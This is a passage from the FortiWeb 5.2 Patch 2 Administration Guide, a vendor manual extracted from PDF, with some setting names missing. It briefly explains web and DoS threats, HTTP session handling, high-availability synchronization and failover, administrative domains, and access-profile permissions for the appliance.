31 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 2: Web-related threats
Attack
Technique
SQL injection
Description Protection FortiWeb Solution
The web application inadvertently accepts SQL queries as input.
These are executed directly against the database for unauthorized disclosure and modification of data.
Rely on key word searches, restrictive context-sensitive filtering and data sanitization techniques.
•
•
•
Malformed
XML
To exploit XML parser or data modeling bugs on the server, the client sends incorrectly formed tags and attributes.
Validate XML formatting for closed tags and other basic language requirements.
Caution: Unlike
XML protection profiles in previous versions of
FortiWeb,
does
not check for conformity with the object model or recursive payloads.
DoS attacks
A denial of service (DoS) attack or distributed denial-of-service attack (DDoS attack) is an attempt to overwhelm a web server/site, making its resources unavailable to its intended users.
DoS assaults involve opening vast numbers of sessions/connections at various OSI layers and keeping them open as long as possible to overwhelm a server by consuming its available sockets. Most DoS attacks use automated tools (not browsers) on one or more hosts to generate the harmful flood of requests to a web server.
A DoS assault on its own is not true penetration. It is designed to silence its target, not for theft.
It is censorship, not robbery. In any event, a successful DoS attack can be costly to a company in lost sales and a tarnished reputation. DoS can also be used as a diversion tactic while a true exploit is being perpetrated.
The advanced DoS prevention features of FortiWeb are designed to prevent DoS techniques, such as those examples listed in Table 3 , from succeeding. For best results, consider creating a
DoS protection policy that includes all of FortiWeb’s DoS defense mechanisms, and block traffic that appears to originate from another country, but could actually be anonymized by VPN or Tor.
32 FortiWeb 5.2 Patch 2 Administration Guide
For more information on policy creation, see “DoS prevention” on page 356
and “Blacklisting source IPs with poor reputation” on page 348 .
Table 3: DoS-related threats
Attack
Technique
Botnet
Description FortiWeb Solution
Low-rate DoS Exploits TCP’s retransmission time-out (RTO) by sending short-duration, high-volume bursts repeated periodically at slower RTO time-scales. This causes a TCP flow to repeatedly enter a RTO state and significantly reduces TCP throughput.
•
•
prevention)
(HTTP flood prevention)
•
prevention)
Slow POST attack
Utilizes zombies previously exploited or infected (or willingly participating), distributed usually globally, to simultaneously overwhelm the target when directed by the command and control server(s). Well-known examples include
LOIC, HOIC, and Zeus.
Sends multiple HTTP POST requests with a legitimate Content-Length: field. This tells the web server how much data to expect. Each
POST
message body is then transmitted at an unusually slow speed to keep the connection from timing out, and thereby consuming sockets.
•
•
Fortinet 33 FortiWeb 5.2 Patch 2 Administration Guide
Table 3: DoS-related threats
Description Attack
Technique
Slowloris
SYN flood
FortiWeb Solution
Slowly but steadily consumes all available sockets by sending partial HTTP requests sent at regular intervals. Each HTTP header is never finished by a new line (/r/n) according to the specification, and therefore the server waits for the client to finish, keeping its socket open.
This slowly consumes all sockets on a web server without a noticeable spike on new
TCP/IP connections or bandwidth.
Real Browser Enforcement
Not all web servers are vulnerable, and susceptibility can vary by configuration. Default
Apache configurations may be more vulnerable than a server like nginx that is designed for high concurrency.
Sends a stream of TCP SYN packets. The target server acknowledges each SYN and waits for a response (ACK). Rather than respond, the attacker sends more SYN packets, leaving each connection half-open, not fully formed, so that it may not register on systems that only monitor fully formed connections. Since each half-formed connection requires RAM to remember this state while awaiting buildup/tear-down, many
SYN
signals eventually consume available RAM or sockets.
HTTP sessions & security
The HTTP 1.1 protocol itself is stateless (i.e., has no inherent support for persistent sessions).
Yet many web applications add sessions to become stateful.
Why?
What is a session? What is statefulness?
How do they impact security on the web?
Sessions are a correlation of requests for individual web pages/data (“hits”) into a sense of an overall “visit” for a client during a time span, but also retain some memory between events.
They typically consist of a session ID coupled with its data indicating current state.
Classic examples include logins, showing previously viewed items, and shopping carts.
The reason why HTTP applications must add sessions is related to how software works: software often changes how it appears or acts based upon:
• Input you supply (e.g. a mouse click or a data file)
• System events (e.g. time or availability of a network connection)
• Current state (i.e. the product of previous events — history)
Fortinet 34 FortiWeb 5.2 Patch 2 Administration Guide
At each time, some inputs/actions are known to be valid and possible, while others are not.
Without memory of history to define the current context, which actions are valid and
possible, and therefore how it should function, cannot be known.
When software cannot function without memory, it is stateful. Many important features — denying access if a person is not currently logged in, for example, or shipping what has been added to a shopping cart — are stateful, and therefore can’t be supported by purely stateless
HTTP according to the original RFC. Such features require that web apps augment the HTTP protocol by adding a notion of session memory via:
• Cookies per RFC 2965
• Hidden inputs
• Server-side sessions
• Other means (see
“Authentication styles” on page 230 )
Because memory is an accumulation of input, sessions have security implications.
• Can a different client easily forge another’s session?
• Are session IDs reused in encrypt form data, thereby weakening the encryption?
• Are session histories used to check for invalid next URLs or inputs (state transitions)?
When sessions are not protected to prevent misuse, software can be used in unexpected
ways by attackers.
For example, let’s say there is a vending machine. You must insert money first. If you:
• insert a paper clip instead of a coin
• press the button for a snack before you have inserted enough money
• press the button to return your money before you have inserted any money the machine will do nothing. The machine is designed so that it must be in the state where it has received enough money before it will dispense the snack (or return your change).
Figure 2: State transitions in a vending machine
Fortinet
If the vending machine had no notion of states, it would dispense free snacks or change — regardless of whether it had received any money.
While free snacks might make some hungry people happy, it is not the intended behavior. We would say that the vending machine is broken.
35 FortiWeb 5.2 Patch 2 Administration Guide
Figure 3: Invalid state transition in a vending machine
Fortinet
Similar to the working vending machine, in the TCP protocol, a connection cannot be acknowledged (ACK) or data sent (PSH) before the connection has been initiated (SYN). There is a definite order to valid operations, based upon the operation that preceded it. If a connection is not already established — not in a state to receive data — then the receiver will disregard it.
Similar to the broken vending machine, the naked HTTP protocol has no idea what the previous
HTTP request was, and therefore no way to predict what the next one might be. Nothing is required to persist from one request to the next. While this was adequate at the time when
HTTP was initially designed, when it purely needed to retrieve static text or HTML documents, as the World Wide Web evolved, this was no longer enough. Static pages evolved into dynamic
CGI-generated and JavaScripted pages. Dynamic pages use programs to change the page.
Scripted pages eventually evolved to fully-fledged multimedia web applications with their own client-server architecture. As pages became software in their own right, a need for sessions arose.
When a web application has its own native authentication, the session may correspond directly with its authentication logs — server-side sessions may start with a login and end with a logout/session timeout. Within each session, there are contexts that the software can use to determine which operations make sense. For example, for each live session, a web application might remember:
• Who is the client? What is his/her user name?
• Where is the client?
• What pages has the client already seen today?
• What forms has the client already completed?
However, sessions alone are not enough to ensure that a client’s requested operations make sense. The client’s next page request in the session could break the web application’s logic unless requests are restricted to valid ones.
For example, a web application session may remember that a client has authenticated. But unless it also knows what pages that client is authorized to use, there might be nothing to prevent that person from ignoring the links on the current web page and entering a non-authorized URL into their web browser to steal secret information.
36 FortiWeb 5.2 Patch 2 Administration Guide
Figure 4: Attack bypassing logical state transitions in a session
Fortinet
If they do not enforce valid state transitions and guard session IDs and cookies from fraud
(including sidejacking attacks made famous by Firesheep) or cookie poisoning, web applications become vulnerable to state transition-based attacks — attacks where pages are requested out of the expected order, by a different client, or where inputs used for the next page are not as expected. While many web applications reflect business logic in order to function, not all applications validate state transitions to enforce application logic. Other web applications do attempt to enforce the software’s logic, but do not do so effectively. In other cases, the state enforcement itself has bugs. These are common causes of security
vulnerabilities.
Similar to plain HTTP, SSL/TLS also keeps track of what steps the client has completed in encryption negotiation, and what the agreed keys and algorithms are. These HTTPS sessions are separate from, and usually in addition to, HTTP sessions. Attacks on SSL/TLS sessions are also possible, such as the SPDY protocol/Deflate compression-related CRIME attack.
FortiWeb sessions vs. web application sessions
FortiWeb can add its own sessions to enforce the logic of your web applications, thereby hardening their security, even without applying patches.
Your web application may have its own sessions data — one or more. These are not the same as FortiWeb sessions, unless FortiWeb is operating in a mode that does not support FortiWeb
session cookies, and therefore uses your web application’s own sessions as a cue (see
).
FortiWeb does not replace or duplicate sessions that may already be implemented in your web applications, such as the JSESSIONID parameter common in Java server pages (JSP), or web applications’ session cookies such as the TWIKISID cookie for Twiki wikis.
However, it can protect those sessions. To configure protection for your web application’s own
, and
.
For example, to reinforce authentication logic, you might want to require that a client’s first
HTTP request always be a login page. All other web pages should be inaccessible until a client has authenticated, because out-of-order requests could be an attempt to bypass the web application’s authentication mechanism.
37 FortiWeb 5.2 Patch 2 Administration Guide
How can FortiWeb know if a request is the client’s first HTTP request? If FortiWeb were to treat each request independently, without knowledge of anything previous, it would not be able to remember the authentication request, and therefore could not enforce page order.
To fill this need for context, enable
. When enabled:
1. For the first HTTP/HTTPS request from a client, FortiWeb embeds a cookie in the response’s
Set-Cookie:
field in the HTTP header. It is named cookiesession1. (FortiWeb does not use source IP addresses and timestamps alone for sessions: NAT can cloak multiple clients; clocks can be altered.)
If you have configured rules such as start page rules that are enforced when a page request
is the first in a session, FortiWeb can enforce them at this point.
2. Later requests from the same client must include this same cookie in the Cookie: field to be regarded as part of the same session. (Otherwise, the request will be regarded as
session-initiating, and return to step 1 .)
Figure 5: Attack blocked via a start page or page order rule with session management
Fortinet
Once a request’s session is identified by the session ID in this cookie (e.g.
K8BXT3TNYUM710UEGWC8IQBTPX9PRWHB
), FortiWeb can perform any configured tracking or enforcement actions that are based upon the requests that it remembers for that session
ID, such as rate limiting per session ID per URL , or based upon the order of page requests in
a session, such as page order rules. Violating traffic may be dropped or blocked, depending
on your configuration.
3. After some time, if the FortiWeb has not received any more requests, the session will time out.
The next request from that client, even if it contains the old session cookie, will restart the
Exceptions to this process include network topologies and operation modes that do not support FortiWeb session cookies: instead of adding its own cookie, which is not possible,
FortiWeb can instead cue its session states from your web application’s cookie. See
.
Traffic logs include the HTTP/HTTPS session ID so you can locate all requests in each session.
Correlating requests by session ID can be useful for forensic purposes, such as when analyzing an attack from a specific client, or when analyzing web application behavior that occurs during
and the
FortiWeb Log Message Reference
.
38 FortiWeb 5.2 Patch 2 Administration Guide
Sessions & FortiWeb HA
The table of FortiWeb client session histories is not synchronized between HA members. If a failover occurs, the new active appliance will recognize that old session cookies are from a
FortiWeb, and will allow existing FortiWeb sessions to continue. Clients’ existing sessions will not be interrupted.
Because the new active appliance does not know previous session history, after failover, for existing sessions, FortiWeb will not be able to enforce actions that are based upon:
•
the order of page requests in that session ID’s history, such as page order
rules.
• the count or rate of requests that it remembers for that session ID, such as rate limiting per session ID per URL ,
New sessions will be formed with the current main appliance.
and “Configuration settings that are not synchronized by HA” on page 42
.
Example: Magento & FortiWeb sessions during failover
A client might connect through a FortiWeb HA pair to an e-commerce site. The site runs
Magento, which sets cookies, on a server farm. To prevent session stealing and some other session-based attacks, Magento can track its own cookies and validate session information in
$_SESSION
using server-side memory.
In the FortiWeb HA pair that protects the server farm, you have enabled
, so the active appliance (FortiWeb A) also adds its own cookie to the HTTP response from
Magento. The HTTP response therefore contains 2 cookies:
• Magento’s session cookie
• FortiWeb’s session cookie
The next request from the client echoes both cookies. It is for an authorized URL, so FortiWeb A permits the web site to respond.
Figure 6: Session initiation with FortiWeb A — Cookie added to 1 st response
Fortinet
Let’s say you then update FortiWeb A’s firmware. During the update, the standby appliance
(FortiWeb B) briefly assumes the role of the active appliance while FortiWeb A is applying the update and rebooting (i.e. a failover occurs).
39 FortiWeb 5.2 Patch 2 Administration Guide
After the failover, FortiWeb B would receive the next HTTP request in the session. Because it was previously the standby when the client initiated the session, and FortiWeb session tables are not synchronized, FortiWeb B has no knowledge of the FortiWeb session cookie in this request.
As a result, it cannot enforce sequence-specific features such as page order, since it does not know the session history. However, a FortiWeb session cookie is present. Therefore FortiWeb B
would permit the new request (assuming that it has no policy violations).
Figure 7: Session continuation after failover to FortiWeb B — Unknown cookie accepted
Since web application sessions are not the same as FortiWeb sessions, Magento sessions continue and are unaffected by the failover.
If the client deletes their FortiWeb session cookie or it times out, FortiWeb B regards the next request as a new FortiWeb session, adding a new FortiWeb session cookie to Magento’s response and creating an entry in FortiWeb B’s session table, enabling it to enforce page order and start page rules again.
HA heartbeat & synchronization
You can group multiple FortiWeb appliances together as a high availability (HA) cluster (see
“Configuring a high availability (HA) FortiWeb cluster” on page 105 ). The heartbeat traffic
indicates to other appliances in the HA cluster that the appliance is up and “alive.”
Synchronization ensures that all appliances in the cluster remain ready to process traffic, even if you only change one of the appliances.
Heartbeat and synchronization traffic between cluster appliances occur over the physical
. HA traffic uses multicast UDP on port numbers
6065 (heartbeat) and 6056 (synchronization). The HA multicast IP address is 239.0.0.1; it is hard-coded, and cannot be configured.
If switches are used to connect heartbeat interfaces between an HA pair, the heartbeat interfaces must be reachable by Layer 2 multicast.
Fortinet 40 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Failover is triggered by any interruption to either the heartbeat or a port monitored network
interface whose length of time exceeds your configured limits (
). When the active (“main”) appliance becomes unresponsive, the standby appliance:
1. Notifies the network via ARP that the network interface IP addresses (including the IP address of the bridge, if any) are now associated with its virtual MAC addresses
2. Assumes the role of the active appliance and scans network traffic
To keep the standby appliance ready in case of a failover, HA pairs also use the heartbeat link to automatically synchronize most of their configuration. Synchronization includes:
• core CLI-style configuration file (fwb_system.conf)
• X.509 certificates, certificate request files (CSR), and private keys
• HTTP error pages
• FortiGuard IRIS Service database
• FortiGuard Security Service files (attack signatures, predefined data types & suspicious
URLs, known web crawlers & content scrapers, global white list, vulnerability scan signatures)
• Geography-to-IP database and occurs immediately when an appliance joins the cluster, and thereafter every 30 seconds.
Although they are not automatically synchronized for performance reasons due to large size and frequent updates, you can manually force HA to synchronize FortiGuard Antivirus signatures.
For instructions, see execute ha synchronize in the
FortiWeb CLI Reference
. For a list of settings and data that are not synchronized, see
“Data that is not synchronized by HA”
and
“Configuration settings that are not synchronized by HA”
.
If you do not want to configure HA (perhaps you have a separate network appliance implementing HA externally), you can still replicate the FortiWeb’s configuration on another
FortiWeb appliance. For more information, see
“Replicating the configuration without FortiWeb
See also
•
Configuring a high availability (HA) FortiWeb cluster
•
Replicating the configuration without FortiWeb HA (external HA)
Data that is not synchronized by HA
In addition to HA configuration, some data is also not synchronized.
• FortiWeb HTTP sessions — FortiWeb appliances can use cookies to add and track its own sessions, functionality that is not inherently provided by HTTP. For more information, see
“HTTP sessions & security” on page 34
. This state-tracking data corresponds in a 1:1 ratio
41 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet to request volume, and therefore can change very rapidly. To minimize the performance impact on an HA cluster, this data is not synchronized.
Failover will not break web applications’ existing sessions, which do not reside on the
FortiWeb, and are not the same thing as FortiWeb’s own HTTP sessions. The new active appliance will allow existing web application sessions to continue. For more information, see
“FortiWeb sessions vs. web application sessions” on page 37 .
FortiWeb sessions are used by some FortiWeb features. After a failover, these features
may not work, or may work differently, for existing sessions. (New sessions are not affected.) See the description for each setting that uses session cookies. For more
information, see “Sessions & FortiWeb HA” on page 39 .
•
SSL/TLS sessions
— HTTPS connections are stateful in that they must be able to remember states such as the security associations from the SSL/TLS handshake: the mutually supported cipher suite, the agreed parameters, and any certificates involved.
Encryption and authentication in SSL/TLS cannot function without this. However, a new primary FortiWeb’s lack of existing HTTPS session information is gracefully handled by re-initializing the SSL/TLS session with the client.This does not impact to the encapsulated
HTTP application, has only an initial failover impact during re-negotiation, and therefore is not synchronized.
•
Log messages
— These describe events that happened on that specific appliance. After a failover, you may notice that there is a gap in the original active appliance’s log files that corresponds to the period of its down time. Log messages created during the time when the standby was acting as the active appliance (if you have configured local log storage) are stored there, on the original standby appliance. For more information on configuring local log storage, see
“Configuring logging” on page 575
.
•
Generated reports
— Like the log messages that they are based upon, PDF, HTML, RTF, and plain text reports also describe events that happened on that specific appliance. As such, report settings are synchronized, but report output is not. For information about this feature, see
•
Auto-learning data
— Auto-learning is a resource-intensive feature. To minimize the performance impact on an HA cluster, this data is not synchronized. For information about this feature, see
.
See also
•
Configuring a high availability (HA) FortiWeb cluster
•
Configuration settings that are not synchronized by HA
•
HA heartbeat & synchronization
Configuration settings that are not synchronized by HA
All configuration settings on the active appliance are synchronized to the standby appliance, except the following:
Setting
Operation mode
Host name
Explanation
You must set the operation mode of each HA group member before
configuring HA. See “Setting the operation mode” on page 102
.
The host name distinguishes each member of the FortiWeb HA cluster.
See “Changing the FortiWeb appliance’s host name” on page 549 .
42 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting Explanation
Network interfaces
(reverse proxy or offline protection mode only)
Only the FortiWeb appliance acting as the main appliance, actively scanning web traffic, is configured with IP addresses on its network interfaces (or bridge).
or
Bridge
The standby appliance will only use the configured IP addresses if a failover occurs, and the standby appliance therefore must assume the role of the main appliance. See
“Configuring the network interfaces” on page 121
or “Configuring a bridge (V-zone)” on page 132
.
(true transparent proxy or transparent inspection mode only)
Management IP address
(true transparent proxy or transparent inspection mode only)
Each FortiWeb appliance in the HA group should be configured with different management IP addresses for administrative purposes. See
“Setting the operation mode” on page 102
.
SNMP system information
RAID level
Each FortiWeb appliance in the HA group will have its own SNMP system
,
. See
“SNMP traps & queries” on page 612 .
RAID settings are hardware-dependent and determined at boot time by looking at the drives (for software RAID) or the controller (hardware RAID), and are not stored in the system configuration. Therefore, they are not synchronized. See
“RAID level & disk statuses” on page 571
.
HA active status and priority
The HA configuration, which includes
because this configuration must be different on the primary and secondary appliances.
FortiGuard
Antivirus packages
This package is large and frequently updated, and therefore is not usually synchronized for performance reasons. You can, however, force synchronization. For details, see exec ha sync in the
FortiWeb CLI
Reference
.
Note: Unless you force an HA sync of this package, the standby may initially use an out-of-date package after failover, until it has a chance to synchronize with FortiGuard. For this reason, you should configure HA
pairs with more frequent FortiGuard update polls. See “Connecting to
FortiGuard services” on page 143 .
See also
•
Data that is not synchronized by HA
•
Configuring a high availability (HA) FortiWeb cluster
•
HA heartbeat & synchronization
43 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
How HA chooses the active appliance
An HA pair may or may not resume their active and standby roles when the failed appliance resumes responsiveness to the heartbeat.
Since the current active appliance will by definition have a greater uptime than a failed previous active appliance that has just returned online, assuming each has the same number of available ports, the current active appliance usually retains its status as the active appliance, unless
is enabled, and if the
setting of the returning appliance is higher, it will be elected as the active appliance in the HA cluster.
is disabled, HA considers (in order)
1. The most available ports
For example, if two FortiWeb appliances, FWB1 and FWB2, were configured to monitor two ports each, and FWB2 has just one port currently available according to
, FWB1 would become the active appliance, regardless of uptime or priority. But if both had 2 available ports, this factor alone would not be able to determine which appliance should be active, and the HA cluster would proceed to the next consideration.
2. The highest uptime value
Uptime is reset to zero if an appliance fails, or the status of any monitored port (per
) changes.
3. The smallest
number (that is, 1 has the highest priority)
4. The highest-sorting serial number
Serial numbers are sorted by comparing each character from left to right, where 9 and z are the greatest values, and result in highest placement in the sorted list.
I
is enabled, HA considers (in order)
1. The most available ports
2. The smallest
number (that is, 1 has the highest priority)
3. The highest uptime value
4. The highest-sorting serial number
If the heartbeat link occurs through switches or routers, and the active appliance is very busy, it might require more time to establish a heartbeat link through which it can negotiate to elect the active appliance. You can configure the amount of time that a FortiWeb appliance will wait after it boots to establish this connection before assuming that the other appliance is unresponsive, and that it should become the active appliance. For details, see the boot-time
<seconds_int>
setting in the
FortiWeb CLI Reference
.
See also
•
Configuring a high availability (HA) FortiWeb cluster
•
Replicating the configuration without FortiWeb HA (external HA)
44 FortiWeb 5.2 Patch 2 Administration Guide
Administrative domains (ADOMs)
Administrative domains (ADOMs) enable the admin administrator to constrain other FortiWeb administrators’ access privileges to a subset of policies and protected host names. This can be useful for large enterprises and multi-tenant deployments such as web hosting.
ADOMs are not enabled by default. Enabling and configuring administrative domains can only be performed by the admin administrator.
Enabling ADOMs alters the structure of and the available functions in the GUI and CLI, according to whether or not you are logging in as the admin administrator, and, if you are not logging in as the admin administrator, the administrator account’s assigned access profile.
Table 4: Differences between administrator accounts when ADOMs are enabled admin
administrator account Other administrators
Yes No
Acess to config global
Can create administator accounts Yes No
Can create & enter all ADOMs
Yes No
• If ADOMs are enabled and you log in as admin, a superset of the typical CLI commands appear, allowing unrestricted access and ADOM configuration. config global
contains settings used by the FortiWeb itself and settings shared by
ADOMs, such as RAID and administrator accounts. It does not include ADOM-specific settings or data, such as logs and reports. When configuring other administrator accounts, an additional option appears allowing you to restrict other administrators to an ADOM.
• If ADOMs are enabled and you log in as any other administrator, you enter the ADOM assigned to your account. A subset of the typical menus or CLI commands appear, allowing access only to only logs, reports, policies, servers, and LDAP queries specific to your
ADOM. You cannot access global configuration settings, or enter other ADOMs.
By default, administrator accounts other than the admin account are assigned to the root
ADOM, which includes all policies and servers. By creating ADOMs that contain a subset of policies and servers, and assigning them to administrator accounts, you can restrict other administrator accounts to a subset of the FortiWeb’s total protected servers.
The admin administrator account cannot be restricted to an ADOM. Other administrators are restricted to their ADOM, and cannot configure ADOMs or global settings.
To enable ADOMs
1. Log in with the admin account.
Other administrators do not have permissions to configure ADOMs.
Back up your configuration. Enabling ADOMs changes the structure of your configuration, and moves non-global settings to the root ADOM. For information on how to back up the
configuration, see “Backups” on page 215 .
Fortinet 45 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to System > Status > Status, then in the System Information widget, in the Administrative
Domains row, click Enable.
FortiWeb terminates your administrative session.
3. Log in again.
When ADOMs are enabled, and if you log in as admin, the navigation menu on the left changes: the two top level items are Global and Administrative Domain.
Fortinet
• Global contains settings that only admin or other accounts with the prof_admin access profile can change.
• Administrative Domains contains each ADOM and its respective settings.
This menu and CLI structure change is not visible to non-global accounts; ADOM administrators’ navigation menus continue to appear similar to when ADOMs are disabled,
46 FortiWeb 5.2 Patch 2 Administration Guide
except that global settings such as network interfaces, HA, and other global settings do not appear.
Fortinet
4. Continue by defining ADOMs ( “Defining ADOMs” ).
To disable ADOMs
1. Delete all ADOM administrator accounts.
Back up your configuration. Disabling ADOMs changes the structure of your configuration, and deletes most ADOM-related settings. It keeps settings from the root ADOM only. For
information on how to back up the configuration, see “Backups” on page 215
.
2. Go to System > Status > Status, then in the System Information widget, in the Administrative
Domains row, click Disable.
3. Continue by reconfiguring the appliance (
“How to set up your FortiWeb” on page 65
).
See also
•
•
•
Assigning administrators to an ADOM
•
•
47 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Defining ADOMs
Some settings can only be configured by the admin account — they are global. Global settings apply to the appliance overall regardless of ADOM, such as:
• operation mode
• network interfaces
• system time
• backups
• administrator accounts
• access profiles
• FortiGuard connectivity settings
• HA and configuration sync
• SNMP
• RAID
• TCP SYN flood anti-DoS setting
• vulnerability scans
• exec ping
and other global operations that exist only in the CLI
Only the admin account can configure global settings.
In the current release, some settings, such as user accounts for HTTP authentication, anti-defacement, and logging destinations are read-only for ADOM administrators. Future releases will allow ADOM administrators to configure these settings separately for their ADOM.
Other settings can be configured separately for each ADOM. They essentially define each
ADOM. For example, the policies of adom-A are separate from adom-B.
Initially, only the root ADOM exists, and it contains settings such as policies that were global before ADOMs were enabled. Typically, you will create additional ADOMs, and few if any administrators will be assigned to the root ADOM. After ADOMs are created, the admin account usually assigns other administrator accounts to configure their ADOM-specific settings. However, as the root account, the admin administrator does have permission to configure all settings, including those within ADOMs.
To create an ADOM
1. Log in with the admin account.
Other administrators do not have permissions to configure ADOMs.
2. Go to Global > System > Administrative Domain > Administrative Domain.
The maximum number of ADOMs you can add varies by your FortiWeb model. The number of ADOMs is limited by available physical memory (RAM), and therefore also limits the
.
3. Click Create New, enter the Name, then click OK.
The new ADOM exists, but its settings are not yet configured. . (Alternatively, to configure the default root ADOM, click root.)
48 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. Either:
• assign another administrator account to configure the ADOM (continue with
“Assigning administrators to an ADOM”
), or
• configure the ADOM yourself: in the navigation menu on the left, click
Administrative Domains, click the name of the new ADOM, then configure its policies and other settings as usual.
See also
•
Assigning administrators to an ADOM
•
Administrative domains (ADOMs)
•
•
•
Assigning administrators to an ADOM
The admin administrator can create other administrators and assign their account to an ADOM, constraining them to that ADOM’s configurations and data.
To assign an administrator to an ADOM
1. If you have not yet created any administrator access profiles, create at least one. See
“Configuring access profiles” on page 226
.
2. In the administrator account’s
setting, select the new access profile.
(Administrators assigned to the prof_admin access profile will have global access. They cannot be restricted to an ADOM.)
3. In the administrator account’s
setting, select the account’s assigned
ADOM. Currently, in this version of FortiWeb, administrators cannot be assigned to more than one ADOM.
See also
•
•
•
•
49 FortiWeb 5.2 Patch 2 Administration Guide
How to use the web UI
This topic describes aspects that are general to the use of the web UI, a graphical user interface
(GUI) that provides access the FortiWeb appliance from within a web browser.
Fortinet
See also
•
•
•
•
Maximum concurrent administrator sessions
•
•
Buttons, menus, & the displays
System requirements
The management computer that you use to access the web UI must have:
• a compatible web browser, such as Microsoft Internet Explorer 6.0 or greater, or
Mozilla Firefox 3.5 or greater
• Adobe Flash Player 10 or greater plug-in
To minimize scrolling, the computer’s screen should have a resolution that is a minimum of
1280 x 1024 pixels.
URL for access
You access the web UI by URL, using a network interface on the FortiWeb appliance that you have configured for administrative access.
50 FortiWeb 5.2 Patch 2 Administration Guide
For first-time connection, see
“Connecting to the web UI” on page 80
.
The default URL to access the web UI through the network interface on port1 is: https://192.168.1.99/
If the network interfaces were configured during installation of the FortiWeb appliance (see
“Configuring the network settings” on page 119 ), the URL and/or permitted administrative
access protocols may no longer be in their default state. In that case, use either a
DNS-resolvable domain name for the FortiWeb appliance as the URL, or the IP address that was assigned to the network interface during the installation process.
For example, you might have configured port2 with the IP address 10.0.0.1 and enabled
HTTPS. You might have also configured a private DNS server on your network to resolve fortiweb.example.com to 10.0.0.1. In this case, to access the web UI through port2, you could enter either https://fortiweb.example.com/ or https://10.0.0.1/.
For information on enabling administrative access protocols and configuring IP addresses for the FortiWeb appliance, see
“Configuring the network settings” on page 119
.
If the URL is correct and you still cannot access the web UI, you may also need to configure
FortiWeb to accept login attempts for your administrator account from that computer (that is,
trusted hosts), and/or static routes. For details, see “Administrators” on page 221
and “Adding a gateway” on page 135 .
Workflow
While the “heart” of your security enforcement on FortiWeb is server policies, its individual settings are specified in rules and exceptions, that are grouped into sets and selected in a profile before being applied to the server policy. Often you will not be able to complete configuration of an item unless you have configured its chain of prerequisites. For that reason, you may want to start with the most granular settings first.
Fortinet 51 FortiWeb 5.2 Patch 2 Administration Guide
For example, when configuring DoS protection, configuration must occur in this order:
Fortinet
1. Configure anti-DoS settings for each type:
•
TCP connection floods ( “Limiting TCP connections per IP address” on page 369 )
• TCP SYN floods (
“Preventing a TCP SYN flood” on page 372
)
•
HTTP floods ( “Preventing an HTTP request flood” on page 365 )
•
HTTP access limits ( “Limiting the total HTTP request rate from an IP” on page 357
)
• Malicious IPs (TCP connection floods detected by session cookie instead of source IP address, which could be shared by multiple clients;
“Limiting TCP connections per IP address by session cookie” on page 362
)
2. Group the settings together into a comprehensive anti-DoS policy (
“Grouping DoS protection rules” on page 373
).
3. Select the anti-DoS policy in a protection profile, and enable
( “Configuring a protection profile for inline topologies” on page 492
).
4. Select the protection profile in a server policy (
“Configuring a server policy” on page 509
).
Permissions
Depending on the account that you use to log in to the FortiWeb appliance, you may not have complete access to all CLI commands or areas of the web UI.
Together, both:
• access profiles and
• administrative domains (ADOMs) control which commands and settings an administrator account can use.
Access profiles assign either:
• Read (view access)
• Write (change and execute access)
• both Read and Write
• no access to each area of the FortiWeb software.
52 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Similar to VDOMs on FortiGate, ADOMs on FortiWeb divide policies and other settings so that they each can be assigned to a different administrators.
Table 5: Areas of control in access profiles
Access profile setting
Admin Users
admingrp
Grants access to*
System > Admin ... except Settings config system admin config system accprofile
Web UI
CLI
Auth Users
authusergrp
User ...
config user ...
Web UI
CLI
Web UI
Autolearn
Configuration
learngrp
Auto Learn > Auto Learn Profile > Auto Learn Profile
Log & Report
loggrp config server-policy custom-application ...
config waf web-protection-profile autolearning-profile
Note: Because generating an auto-learning profile also generates its required components, this area also confers
Write permission to those components in the Web Protection
Configuration/wafgrp area.
CLI
Log & Report ...
config log ...
execute formatlogdisk
Web UI
CLI
Web UI
CLI
Maintenance
mntgrp
System > Maintenance except System Time tab diagnose system ...
execute backup ...
execute factoryreset execute reboot execute restore ...
execute shutdown diagnose system flash ...
System > Network ...
Network
Configuration
netgrp config system interface config system dns config system v-zone diagnose network ...
except sniffer ...
Router Configuration
Router ...
routegrp config router ...
Web UI
CLI
Web UI
CLI
53 FortiWeb 5.2 Patch 2 Administration Guide
Table 5: Areas of control in access profiles
Access profile setting
Grants access to*
System Configuration System ... except Network, Admin, and Maintenance tabs sysgrp config system
except accprofile, admin, dns, interface
, and v-zone diagnose hardware ...
diagnose network sniffer ...
diagnose system ...
except flash ...
execute date ...
execute ha ...
execute ping ...
execute ping-options ...
execute traceroute ...
execute time ...
Server Policy
Configuration
traroutegrp
Policy > Server Policy ...
Server Objects ...
Application Delivery ...
config server-policy ...
except custom-application ...
config waf file-compress-rule config waf file-uncompress-rule config waf http-authen ... config waf url-rewrite ... diagnose policy ...
Web Anti-Defacement ...
Web
Anti-Defacement
Management
wadgrp config wad ...
Web UI
CLI
Web UI
CLI
Web UI
CLI
Fortinet 54 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 5: Areas of control in access profiles
Access profile setting
Web Protection
Configuration
Grants access to*
Policy > Web Protection ...
Web Protection ...
DoS Protection ...
wafgrp config system dos-prevention config waf
except:
• config waf file-compress-rule
• config waf file-uncompress-rule
• config waf http-authen ...
• config waf url-rewrite ...
• config waf web-custom-robot
• config waf web-protection-profile autolearning-profile
• config waf web-robot
• config waf x-forwarded-for
Web Vulnerability Scan ...
Web Vulnerability
Scan Configuration
wvsgrp config wvs ...
* For each config command, there is an equivalent get/show command, unless otherwise noted.
config
access requires write permission. get
/show access requires read permission.
Web UI
CLI
Web UI
CLI
Unlike other administrator accounts, the administrator account named admin exists by default and cannot be deleted. The admin administrator account is similar to a root administrator account. This administrator account always has full permission to view and change all FortiWeb configuration options, including viewing and changing all other administrator accounts and
ADOMs. Its name and permissions cannot be changed. It is the only administrator account that can reset another administrator’s password without being required to enter that administrator’s existing password.
Set a strong password for the admin administrator account, and change the password regularly. By default, this administrator account has no password. (For FortiWeb-VM on AWS, the default password for the admin administrator is the AWS instance ID.) Failure to maintain the password of the admin administrator account could compromise the security of your
FortiWeb appliance.
For complete access to all commands and abilities, you must log in with the administrator account named admin.
